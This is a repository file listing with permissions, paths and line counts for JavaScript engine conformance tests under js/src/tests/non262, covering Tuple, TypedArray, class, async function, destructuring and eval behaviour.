-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-nan.js15
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-neg-infinity.js13
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-neg-zero.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-negative.js16
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-null.js15
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-number.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-not-primitive.js33
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-valueOf-toString.js31
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-valueOf.js21
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object.js24
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-positive.js16
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-side-effects-3.js23
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-2.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-exponent.js16
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-hex.js17
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-leading-zeros.js16
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-neg-infinity.js13
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-negative.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-trunc-2.js17
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-trunc.js17
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-undefined.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-with-index.js17
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-zero.js13
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/includes.js18
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/length-internal.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/undefined-throws-type-error.js18
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/uses-internal-length.js17
-rw-r--r--js/src/tests/non262/Tuple/prototype/isTuple/isTuple.js47
-rw-r--r--js/src/tests/non262/Tuple/prototype/isTuple/length.js22
-rw-r--r--js/src/tests/non262/Tuple/prototype/join/browser.js0
-rw-r--r--js/src/tests/non262/Tuple/prototype/join/dda-separator.js17
-rw-r--r--js/src/tests/non262/Tuple/prototype/join/shell.js0
-rw-r--r--js/src/tests/non262/Tuple/prototype/length/length-getter.js42
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/callback-not-called-on-empty.js7
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-with-thisarg45
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-with-thisarg.js43
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/callbackfn-arguments-without-thisarg.js45
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/callbackfn-is-not-callable.js40
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/callbackfn-returns-abrupt.js8
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/indexed-setters.js12
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/invoked-as-func.js6
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/invoked-as-method.js10
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/length-internal.js18
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/map.js85
-rw-r--r--js/src/tests/non262/Tuple/prototype/map/this-is-not-tuple.js30
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/invoked-as-func.js7
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/invoked-as-method.js9
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/length.js26
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/name.js9
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/negative-zero.js10
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/not-a-constructor.js10
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/prop-desc.js9
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/return-abrupt-from-end.js13
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/return-abrupt-from-start.js13
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/slice.js176
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/tointeger-end.js35
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/tointeger-start.js35
-rw-r--r--js/src/tests/non262/Tuple/prototype/slice/tuple-length-internal.js23
-rw-r--r--js/src/tests/non262/Tuple/prototype/toReversed/indexed-setters.js16
-rw-r--r--js/src/tests/non262/Tuple/prototype/toReversed/invoked-as-func.js10
-rw-r--r--js/src/tests/non262/Tuple/prototype/toReversed/invoked-as-method.js10
-rw-r--r--js/src/tests/non262/Tuple/prototype/toReversed/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/toReversed/this-is-not-tuple.js21
-rw-r--r--js/src/tests/non262/Tuple/prototype/toReversed/toReversed.js29
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/comparefn-call-throws.js16
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/comparefn-calls.js25
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/comparefn-nonfunction-call-throws.js25
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/invoked-as-func.js10
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/invoked-as-method.js10
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/sorted-values.js29
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/stability.js32
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/this-is-not-tuple.js21
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/toSorted.js36
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/toSortedcompare-with-no-tostring.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSorted/tuplelength-internal.js28
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSpliced/indexed-setters.js16
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSpliced/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/toSpliced/toSpliced.js254
-rw-r--r--js/src/tests/non262/Tuple/prototype/toString/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/toString/to-string.js21
-rw-r--r--js/src/tests/non262/Tuple/prototype/valueOf/length.js15
-rw-r--r--js/src/tests/non262/Tuple/prototype/valueOf/name.js9
-rw-r--r--js/src/tests/non262/Tuple/prototype/valueOf/valueOf.js23
-rw-r--r--js/src/tests/non262/Tuple/prototype/with/with.js68
-rw-r--r--js/src/tests/non262/Tuple/shell.js0
-rw-r--r--js/src/tests/non262/Tuple/syntax.js16
-rw-r--r--js/src/tests/non262/Tuple/type-errors.js31
-rw-r--r--js/src/tests/non262/Tuple/wrapper.js25
-rw-r--r--js/src/tests/non262/TypedArray/Tconstructor-fromTypedArray-byteLength.js17
-rw-r--r--js/src/tests/non262/TypedArray/at.js47
-rw-r--r--js/src/tests/non262/TypedArray/browser.js0
-rw-r--r--js/src/tests/non262/TypedArray/bug1526838.js8
-rw-r--r--js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species-wrap.js55
-rw-r--r--js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species.js19
-rw-r--r--js/src/tests/non262/TypedArray/constructor-buffer-sequence.js230
-rw-r--r--js/src/tests/non262/TypedArray/constructor-byteoffsets-bounds.js34
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-generator.js16
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator-next.js28
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator.js28
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-nonpacked-array.js17
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-not-callable.js15
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-packed-array-side-effect.js17
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-packed-array.js16
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterable-undefined-or-null.js22
-rw-r--r--js/src/tests/non262/TypedArray/constructor-iterator-primitive.js29
-rw-r--r--js/src/tests/non262/TypedArray/constructor-length-too-large.js40
-rw-r--r--js/src/tests/non262/TypedArray/constructor-non-detached.js13
-rw-r--r--js/src/tests/non262/TypedArray/constructor-not-callable.js10
-rw-r--r--js/src/tests/non262/TypedArray/constructor-typedarray-species-other-global.js33
-rw-r--r--js/src/tests/non262/TypedArray/constructor-undefined-args.js14
-rw-r--r--js/src/tests/non262/TypedArray/constructor_bad-args.js13
-rw-r--r--js/src/tests/non262/TypedArray/detached-array-buffer-checks.js107
-rw-r--r--js/src/tests/non262/TypedArray/element-setting-converts-using-ToNumber.js91
-rw-r--r--js/src/tests/non262/TypedArray/entries.js38
-rw-r--r--js/src/tests/non262/TypedArray/every-and-some.js249
-rw-r--r--js/src/tests/non262/TypedArray/fill-detached.js36
-rw-r--r--js/src/tests/non262/TypedArray/fill.js65
-rw-r--r--js/src/tests/non262/TypedArray/filter-species.js56
-rw-r--r--js/src/tests/non262/TypedArray/filter-validation.js185
-rw-r--r--js/src/tests/non262/TypedArray/find-and-findIndex.js52
-rw-r--r--js/src/tests/non262/TypedArray/findLast-and-findLastIndex.js52
-rw-r--r--js/src/tests/non262/TypedArray/forEach.js93
-rw-r--r--js/src/tests/non262/TypedArray/from-iterable-validation.js140
-rw-r--r--js/src/tests/non262/TypedArray/from-non-iterable-validation.js140
-rw-r--r--js/src/tests/non262/TypedArray/from_basics.js42
-rw-r--r--js/src/tests/non262/TypedArray/from_constructor.js36
-rw-r--r--js/src/tests/non262/TypedArray/from_errors.js76
-rw-r--r--js/src/tests/non262/TypedArray/from_iterable.js49
-rw-r--r--js/src/tests/non262/TypedArray/from_mapping.js45
-rw-r--r--js/src/tests/non262/TypedArray/from_realms.js32
-rw-r--r--js/src/tests/non262/TypedArray/from_string.js24
-rw-r--r--js/src/tests/non262/TypedArray/from_surfaces.js12
-rw-r--r--js/src/tests/non262/TypedArray/from_this.js59
-rw-r--r--js/src/tests/non262/TypedArray/from_typedarray_fastpath_detached.js10
-rw-r--r--js/src/tests/non262/TypedArray/getter-name.js16
-rw-r--r--js/src/tests/non262/TypedArray/has-property-op.js22
-rw-r--r--js/src/tests/non262/TypedArray/includes.js40
-rw-r--r--js/src/tests/non262/TypedArray/indexOf-and-lastIndexOf.js123
-rw-r--r--js/src/tests/non262/TypedArray/indexOf-never-returns-negative-zero.js7
-rw-r--r--js/src/tests/non262/TypedArray/iterator-next-with-detached.js73
-rw-r--r--js/src/tests/non262/TypedArray/iterator.js42
-rw-r--r--js/src/tests/non262/TypedArray/join.js48
-rw-r--r--js/src/tests/non262/TypedArray/keys.js36
-rw-r--r--js/src/tests/non262/TypedArray/large-arrays.js24
-rw-r--r--js/src/tests/non262/TypedArray/lastIndexOf-never-returns-negative-zero.js7
-rw-r--r--js/src/tests/non262/TypedArray/length.js14
-rw-r--r--js/src/tests/non262/TypedArray/map-and-filter.js274
-rw-r--r--js/src/tests/non262/TypedArray/map-species.js56
-rw-r--r--js/src/tests/non262/TypedArray/map-validation.js149
-rw-r--r--js/src/tests/non262/TypedArray/object-defineproperty.js68
-rw-r--r--js/src/tests/non262/TypedArray/of-validation.js140
-rw-r--r--js/src/tests/non262/TypedArray/of.js92
-rw-r--r--js/src/tests/non262/TypedArray/prototype-constructor-identity.js55
-rw-r--r--js/src/tests/non262/TypedArray/reduce-and-reduceRight.js188
-rw-r--r--js/src/tests/non262/TypedArray/reverse.js38
-rw-r--r--js/src/tests/non262/TypedArray/seal-and-freeze.js49
-rw-r--r--js/src/tests/non262/TypedArray/set-detached-bigint.js19
-rw-r--r--js/src/tests/non262/TypedArray/set-detached.js265
-rw-r--r--js/src/tests/non262/TypedArray/set-negative-offset.js35
-rw-r--r--js/src/tests/non262/TypedArray/set-same-buffer-different-source-target-types.js41
-rw-r--r--js/src/tests/non262/TypedArray/set-tointeger.js95
-rw-r--r--js/src/tests/non262/TypedArray/set-toobject.js53
-rw-r--r--js/src/tests/non262/TypedArray/set-with-receiver.js28
-rw-r--r--js/src/tests/non262/TypedArray/set-wrapped.js81
-rw-r--r--js/src/tests/non262/TypedArray/set.js21
-rw-r--r--js/src/tests/non262/TypedArray/shell.js114
-rw-r--r--js/src/tests/non262/TypedArray/slice-bitwise.js153
-rw-r--r--js/src/tests/non262/TypedArray/slice-conversion.js515
-rw-r--r--js/src/tests/non262/TypedArray/slice-detached.js103
-rw-r--r--js/src/tests/non262/TypedArray/slice-memcpy.js84
-rw-r--r--js/src/tests/non262/TypedArray/slice-species.js49
-rw-r--r--js/src/tests/non262/TypedArray/slice-validation.js194
-rw-r--r--js/src/tests/non262/TypedArray/slice.js45
-rw-r--r--js/src/tests/non262/TypedArray/sort-negative-nan.js106
-rw-r--r--js/src/tests/non262/TypedArray/sort-non-function.js22
-rw-r--r--js/src/tests/non262/TypedArray/sort_basics.js73
-rw-r--r--js/src/tests/non262/TypedArray/sort_byteoffset.js30
-rw-r--r--js/src/tests/non262/TypedArray/sort_comparators.js32
-rw-r--r--js/src/tests/non262/TypedArray/sort_compare_nan.js12
-rw-r--r--js/src/tests/non262/TypedArray/sort_errors.js87
-rw-r--r--js/src/tests/non262/TypedArray/sort_globals.js9
-rw-r--r--js/src/tests/non262/TypedArray/sort_modifications.js73
-rw-r--r--js/src/tests/non262/TypedArray/sort_modifications_concurrent.js145
-rw-r--r--js/src/tests/non262/TypedArray/sort_modifications_concurrent_radixsort.js116
-rw-r--r--js/src/tests/non262/TypedArray/sort_small.js38
-rw-r--r--js/src/tests/non262/TypedArray/sort_snans.js79
-rw-r--r--js/src/tests/non262/TypedArray/sort_sorted.js30
-rw-r--r--js/src/tests/non262/TypedArray/sort_stable.js23
-rw-r--r--js/src/tests/non262/TypedArray/sorting_buffer_access.js15
-rw-r--r--js/src/tests/non262/TypedArray/subarray-species.js63
-rw-r--r--js/src/tests/non262/TypedArray/subarray-validation.js117
-rw-r--r--js/src/tests/non262/TypedArray/subarray.js29
-rw-r--r--js/src/tests/non262/TypedArray/test-integrity-level-detached.js104
-rw-r--r--js/src/tests/non262/TypedArray/test-integrity-level.js67
-rw-r--r--js/src/tests/non262/TypedArray/toLocaleString-detached.js38
-rw-r--r--js/src/tests/non262/TypedArray/toLocaleString-nointl.js40
-rw-r--r--js/src/tests/non262/TypedArray/toLocaleString.js80
-rw-r--r--js/src/tests/non262/TypedArray/toReversed-detached.js10
-rw-r--r--js/src/tests/non262/TypedArray/toSorted-detached.js10
-rw-r--r--js/src/tests/non262/TypedArray/toString.js69
-rw-r--r--js/src/tests/non262/TypedArray/toStringTag-cross-compartment.js12
-rw-r--r--js/src/tests/non262/TypedArray/uint8clamped-constructor.js9
-rw-r--r--js/src/tests/non262/TypedArray/values.js37
-rw-r--r--js/src/tests/non262/TypedArray/with-detached.js10
-rw-r--r--js/src/tests/non262/TypedArray/with.js34
-rw-r--r--js/src/tests/non262/TypedArray/write-out-of-bounds-tonumber.js60
-rw-r--r--js/src/tests/non262/Unicode/browser.js0
-rw-r--r--js/src/tests/non262/Unicode/non-bmp-non-spaces.js60
-rw-r--r--js/src/tests/non262/Unicode/regress-352044-01.js36
-rw-r--r--js/src/tests/non262/Unicode/regress-352044-02-n.js36
-rw-r--r--js/src/tests/non262/Unicode/shell.js0
-rw-r--r--js/src/tests/non262/Unicode/uc-001-n.js23
-rw-r--r--js/src/tests/non262/Unicode/uc-002-n.js14
-rw-r--r--js/src/tests/non262/Unicode/uc-002.js21
-rw-r--r--js/src/tests/non262/Unicode/uc-003.js27
-rw-r--r--js/src/tests/non262/Unicode/uc-004.js26
-rw-r--r--js/src/tests/non262/Unicode/uc-005.js239
-rw-r--r--js/src/tests/non262/WeakMap/browser.js0
-rw-r--r--js/src/tests/non262/WeakMap/shell.js0
-rw-r--r--js/src/tests/non262/WeakMap/symbols.js10
-rw-r--r--js/src/tests/non262/arrow-functions/arrow-not-as-end-of-statement.js188
-rw-r--r--js/src/tests/non262/arrow-functions/arrow-returning-arrow-with-block-body-followed-by-regexp.js15
-rw-r--r--js/src/tests/non262/arrow-functions/browser.js0
-rw-r--r--js/src/tests/non262/arrow-functions/shell.js0
-rw-r--r--js/src/tests/non262/arrow-functions/toString-eof.js26
-rw-r--r--js/src/tests/non262/arrow-functions/yield-in-arrow.js77
-rw-r--r--js/src/tests/non262/async-functions/BoundNames.js21
-rw-r--r--js/src/tests/non262/async-functions/EarlyErrors.js51
-rw-r--r--js/src/tests/non262/async-functions/ErrorStack.js103
-rw-r--r--js/src/tests/non262/async-functions/arguments_callee.js31
-rw-r--r--js/src/tests/non262/async-functions/async-contains-unicode-escape.js54
-rw-r--r--js/src/tests/non262/async-functions/async-function-declaration-in-modules.js13
-rw-r--r--js/src/tests/non262/async-functions/async-property-name-error.js21
-rw-r--r--js/src/tests/non262/async-functions/await-error.js16
-rw-r--r--js/src/tests/non262/async-functions/await-in-arrow-parameters.js94
-rw-r--r--js/src/tests/non262/async-functions/await-in-parameters-of-async-func.js67
-rw-r--r--js/src/tests/non262/async-functions/await-newline.js15
-rw-r--r--js/src/tests/non262/async-functions/browser.js0
-rw-r--r--js/src/tests/non262/async-functions/construct-newtarget.js79
-rw-r--r--js/src/tests/non262/async-functions/constructor.js33
-rw-r--r--js/src/tests/non262/async-functions/cover-init-name-syntax.js65
-rw-r--r--js/src/tests/non262/async-functions/create-function-parse-before-getprototype.js19
-rw-r--r--js/src/tests/non262/async-functions/duplicate-__proto__.js22
-rw-r--r--js/src/tests/non262/async-functions/forbidden-as-consequent.js14
-rw-r--r--js/src/tests/non262/async-functions/identity.js14
-rw-r--r--js/src/tests/non262/async-functions/inner-caller.js17
-rw-r--r--js/src/tests/non262/async-functions/length.js12
-rw-r--r--js/src/tests/non262/async-functions/methods.js61
-rw-r--r--js/src/tests/non262/async-functions/no-expression-closure.js17
-rw-r--r--js/src/tests/non262/async-functions/parameters-error-reject-promise.js56
-rw-r--r--js/src/tests/non262/async-functions/properties.js76
-rw-r--r--js/src/tests/non262/async-functions/property.js49
-rw-r--r--js/src/tests/non262/async-functions/semantics.js169
-rw-r--r--js/src/tests/non262/async-functions/shell.js0
-rw-r--r--js/src/tests/non262/async-functions/subclass.js31
-rw-r--r--js/src/tests/non262/async-functions/syntax-arrow.js104
-rw-r--r--js/src/tests/non262/async-functions/syntax-modules.js28
-rw-r--r--js/src/tests/non262/async-functions/syntax.js83
-rw-r--r--js/src/tests/non262/async-functions/toSource.js26
-rw-r--r--js/src/tests/non262/async-functions/toString.js24
-rw-r--r--js/src/tests/non262/async-functions/yield.js71
-rw-r--r--js/src/tests/non262/browser.js0
-rw-r--r--js/src/tests/non262/class/boundFunctionSubclassing.js37
-rw-r--r--js/src/tests/non262/class/browser.js0
-rw-r--r--js/src/tests/non262/class/bytecodePatternMatching.js29
-rw-r--r--js/src/tests/non262/class/classConstructorNoCall.js21
-rw-r--r--js/src/tests/non262/class/classHeritage.js97
-rw-r--r--js/src/tests/non262/class/className.js248
-rw-r--r--js/src/tests/non262/class/classPrototype.js65
-rw-r--r--js/src/tests/non262/class/compPropDestr.js11
-rw-r--r--js/src/tests/non262/class/compPropNames.js243
-rw-r--r--js/src/tests/non262/class/constructorCalled.js45
-rw-r--r--js/src/tests/non262/class/defaultConstructorBase.js18
-rw-r--r--js/src/tests/non262/class/defaultConstructorDerivedSpread.js23
-rw-r--r--js/src/tests/non262/class/defaultConstructorNotCallable.js8
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalBinding.js12
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalClosed.js11
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalEscape.js13
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalEscapeUninitialized.js38
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalGetThis.js10
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalNestedSuperCall.js34
-rw-r--r--js/src/tests/non262/class/derivedConstructorArrowEvalSuperCall.js18
-rw-r--r--js/src/tests/non262/class/derivedConstructorInlining.js19
-rw-r--r--js/src/tests/non262/class/derivedConstructorName.js11
-rw-r--r--js/src/tests/non262/class/derivedConstructorReturnPrimitive.js15
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZExplicitThis.js12
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZOffEdge.js11
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZReturnAliasedTry.js14
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZReturnObject.js13
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZReturnTry.js16
-rw-r--r--js/src/tests/non262/class/derivedConstructorTDZReturnUndefined.js13
-rw-r--r--js/src/tests/non262/class/extendBuiltinConstructors.js110
-rw-r--r--js/src/tests/non262/class/fields-instance-class-name-binding-eval.js40
-rw-r--r--js/src/tests/non262/class/fields-instance-class-name-binding.js40
-rw-r--r--js/src/tests/non262/class/fields-static-class-name-binding-eval.js59
-rw-r--r--js/src/tests/non262/class/fields-static-class-name-binding.js59
-rw-r--r--js/src/tests/non262/class/geterNoExprClosure.js20
-rw-r--r--js/src/tests/non262/class/innerBinding.js86
-rw-r--r--js/src/tests/non262/class/member-expr-after-super.js44
-rw-r--r--js/src/tests/non262/class/methDefn.js204
-rw-r--r--js/src/tests/non262/class/methDefnGen.js83
-rw-r--r--js/src/tests/non262/class/method-named-static.js56
-rw-r--r--js/src/tests/non262/class/methodInstallation.js101
-rw-r--r--js/src/tests/non262/class/methodName.js40
-rw-r--r--js/src/tests/non262/class/methodOverwrites.js80
-rw-r--r--js/src/tests/non262/class/methodsPrototype.js39
-rw-r--r--js/src/tests/non262/class/newTargetArgumentsIntact.js44
-rw-r--r--js/src/tests/non262/class/newTargetArrow.js24
-rw-r--r--js/src/tests/non262/class/newTargetBound.js16
-rw-r--r--js/src/tests/non262/class/newTargetCCW.js10
-rw-r--r--js/src/tests/non262/class/newTargetDVG.js7
-rw-r--r--js/src/tests/non262/class/newTargetDefaults.js25
-rw-r--r--js/src/tests/non262/class/newTargetDirectInvoke.js50
-rw-r--r--js/src/tests/non262/class/newTargetEval.js40
-rw-r--r--js/src/tests/non262/class/newTargetGenerators.js14
-rw-r--r--js/src/tests/non262/class/newTargetMethods.js51
-rw-r--r--js/src/tests/non262/class/newTargetNonFunction.js10
-rw-r--r--js/src/tests/non262/class/newTargetProxyNative.js5
-rw-r--r--js/src/tests/non262/class/outerBinding.js48
-rw-r--r--js/src/tests/non262/class/parenExprToString.js8
-rw-r--r--js/src/tests/non262/class/shell.js10
-rw-r--r--js/src/tests/non262/class/staticConstructor.js22
-rw-r--r--js/src/tests/non262/class/staticMethods.js15
-rw-r--r--js/src/tests/non262/class/strictExecution.js38
-rw-r--r--js/src/tests/non262/class/stringConstructor.js12
-rw-r--r--js/src/tests/non262/class/subclassedArrayUnboxed.js22
-rw-r--r--js/src/tests/non262/class/superCallBadDynamicSuperClass.js12
-rw-r--r--js/src/tests/non262/class/superCallBadNewTargetPrototype.js25
-rw-r--r--js/src/tests/non262/class/superCallBaseInvoked.js55
-rw-r--r--js/src/tests/non262/class/superCallIllegal.js7
-rw-r--r--js/src/tests/non262/class/superCallInvalidBase.js9
-rw-r--r--js/src/tests/non262/class/superCallOrder.js28
-rw-r--r--js/src/tests/non262/class/superCallProperBase.js34
-rw-r--r--js/src/tests/non262/class/superCallSpreadCall.js27
-rw-r--r--js/src/tests/non262/class/superCallThisInit.js48
-rw-r--r--js/src/tests/non262/class/superElemDelete.js68
-rw-r--r--js/src/tests/non262/class/superPropBasicCalls.js27
-rw-r--r--js/src/tests/non262/class/superPropBasicChain.js11
-rw-r--r--js/src/tests/non262/class/superPropBasicGetter.js36
-rw-r--r--js/src/tests/non262/class/superPropBasicNew.js17
-rw-r--r--js/src/tests/non262/class/superPropChains.js58
-rw-r--r--js/src/tests/non262/class/superPropDVG.js17
-rw-r--r--js/src/tests/non262/class/superPropDelete.js64
-rw-r--r--js/src/tests/non262/class/superPropDerivedCalls.js77
-rw-r--r--js/src/tests/non262/class/superPropDestructuring.js43
-rw-r--r--js/src/tests/non262/class/superPropEvalInsideArrow.js11
-rw-r--r--js/src/tests/non262/class/superPropEvalInsideNested.js13
-rw-r--r--js/src/tests/non262/class/superPropFor.js25
-rw-r--r--js/src/tests/non262/class/superPropHeavyweightArrow.js12
-rw-r--r--js/src/tests/non262/class/superPropHomeObject.js61
-rw-r--r--js/src/tests/non262/class/superPropIncDecElem.js24
-rw-r--r--js/src/tests/non262/class/superPropLazyInnerFunction.js19
-rw-r--r--js/src/tests/non262/class/superPropNoOverwriting.js58
-rw-r--r--js/src/tests/non262/class/superPropOrdering.js93
-rw-r--r--js/src/tests/non262/class/superPropProtoChanges.js22
-rw-r--r--js/src/tests/non262/class/superPropProxies.js83
-rw-r--r--js/src/tests/non262/class/superPropSkips.js45
-rw-r--r--js/src/tests/non262/class/superPropStatics.js34
-rw-r--r--js/src/tests/non262/class/superPropStrictAssign.js23
-rw-r--r--js/src/tests/non262/class/superThisStrictNoBoxing.js31
-rw-r--r--js/src/tests/non262/class/uninitializedThisError.js53
-rw-r--r--js/src/tests/non262/comprehensions/browser.js0
-rw-r--r--js/src/tests/non262/comprehensions/shell.js0
-rw-r--r--js/src/tests/non262/destructuring/array-default-class.js25
-rw-r--r--js/src/tests/non262/destructuring/array-iterator-close.js93
-rw-r--r--js/src/tests/non262/destructuring/browser.js0
-rw-r--r--js/src/tests/non262/destructuring/bug1396261.js44
-rw-r--r--js/src/tests/non262/destructuring/constant-folding.js16
-rw-r--r--js/src/tests/non262/destructuring/cover-init-name-syntax.js72
-rw-r--r--js/src/tests/non262/destructuring/duplicate-__proto__.js54
-rw-r--r--js/src/tests/non262/destructuring/iterator-primitive.js36
-rw-r--r--js/src/tests/non262/destructuring/order-super.js701
-rw-r--r--js/src/tests/non262/destructuring/order.js719
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter-aray-iterator.js40
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter-arguments.js101
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter-function-length.js41
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter-spread-call-optimization.js29
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter-syntax.js87
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter.js54
-rw-r--r--js/src/tests/non262/destructuring/rest-with-trailing-comma.js45
-rw-r--r--js/src/tests/non262/destructuring/shell.js0
-rw-r--r--js/src/tests/non262/destructuring/yield-in-object-destr-function.js182
-rw-r--r--js/src/tests/non262/destructuring/yield-in-object-destr-generator.js200
-rw-r--r--js/src/tests/non262/destructuring/yield-in-object-destr-script.js123
-rw-r--r--js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-function.js182
-rw-r--r--js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-generator.js200
-rw-r--r--js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-script.js123
-rw-r--r--js/src/tests/non262/eval/browser.js0
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-normalcode.js208
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-strictcode.js210
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-normalcode.js208
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-strictcode.js210
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-normalcode.js212
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-strictcode.js214
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-normalcode.js212
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-strictcode.js214
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-normalcode.js172
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-strictcode.js174
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-normalcode.js172
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-strictcode.js174
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-normalcode.js173
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-strictcode.js175
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-normalcode.js173
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-strictcode.js175
-rw-r--r--js/src/tests/non262/eval/line-terminator-paragraph-terminator.js24
-rw-r--r--js/src/tests/non262/eval/redeclared-arguments-in-param-expression-eval.js87
-rw-r--r--js/src/tests/non262/eval/regress-531682.js32
-rw-r--r--js/src/tests/non262/eval/shell.js0
